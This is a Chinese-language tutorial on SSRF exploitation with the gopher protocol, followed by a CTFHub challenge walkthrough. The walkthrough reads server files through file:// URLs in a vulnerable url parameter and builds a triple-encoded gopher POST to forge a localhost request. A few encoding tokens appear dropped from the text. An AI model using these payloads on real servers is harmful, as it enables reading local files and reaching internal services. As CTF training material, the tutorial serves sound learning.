SSRF之gopher协议深度解析

2023-10-21 11:20:21 浏览数 (2)

什么是gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。

各语言gopher的使用版本限制:

gopher协议的使用格式(注意 _ 必须):

代码语言:javascript复制
URL:gopher://<host>:<port>/<gopher-path>_TCP数据流

注意

  • gopher的默认端口是70。
  • 如果发起post请求,回车换行需要使用 ,如果多个参数,参数之间的&也需要进行URL编码。

使用gopher协议发送HTTP请求

前置知识

在ubuntu使用Gopher协议发送一个请求。

首先nc启动一个监听端口6666。

代码语言:javascript复制
nc -lp 6666

再打开一个终端,curl发送请求,此时n监听端口收到数据。

代码语言:javascript复制
curl gopher://127.0.0.1:6666/_hello

所以利用gopher发送http请求就是直接构造一个原始的http请求包作为参数传入。

第一步,构造http请求包

第二步,进行url编码,将回车换行编码为

第三部,发送gopher协议

例如get型的http请求。

代码语言:javascript复制
GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1

需要注意的是,pos请求t有4个参数为必要参数。

代码语言:javascript复制
POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
 
a=hello

巩固一下,做道题吧。

例题-SSRF之POST请求

题目来源CTFHub。SSRF系列-POST请求。

dirsearch扫描

先用dirsearch扫一下,发现了flag.php。

代码语言:javascript复制
python dirsearch.py -u http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=127.0.0.1

看一下flag.php,给了我们一个key。

代码语言:javascript复制
<!-- Debug: key=5b69b89c146e1ed3b90708ffa267f06a -->
读取flag和index源码

用file协议读取index.php

代码语言:javascript复制
http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php

index.php如下

代码语言:javascript复制
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

在index.php中可以利用curl传url。

读取flag.php

代码语言:javascript复制
http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

flag.php如下

代码语言:javascript复制
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

分析代码,只需要往flag.php里面传我们前面得到的key即可拿下flag。

构造payload

构造POST请求包。POST包必须包含的四个参数。

gopher默认发送到70端口,我们一般发送到80端口。

代码语言:javascript复制
POST /flag.php HTTP/1.1
host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=5b69b89c146e1ed3b90708ffa267f06a

进行三次url编码,第一次编码后 需全部替换成 。

三次编码的原因

传参经过多少次跳转就需要经过多少次url编码。 直接curl后接gopher://就编码一次。 利用?url=gopher://就编码两次。 还经过302跳转,就编码三次。

代码语言:javascript复制
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250Ahost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D5b69b89c146e1ed3b90708ffa267f06a

0 人点赞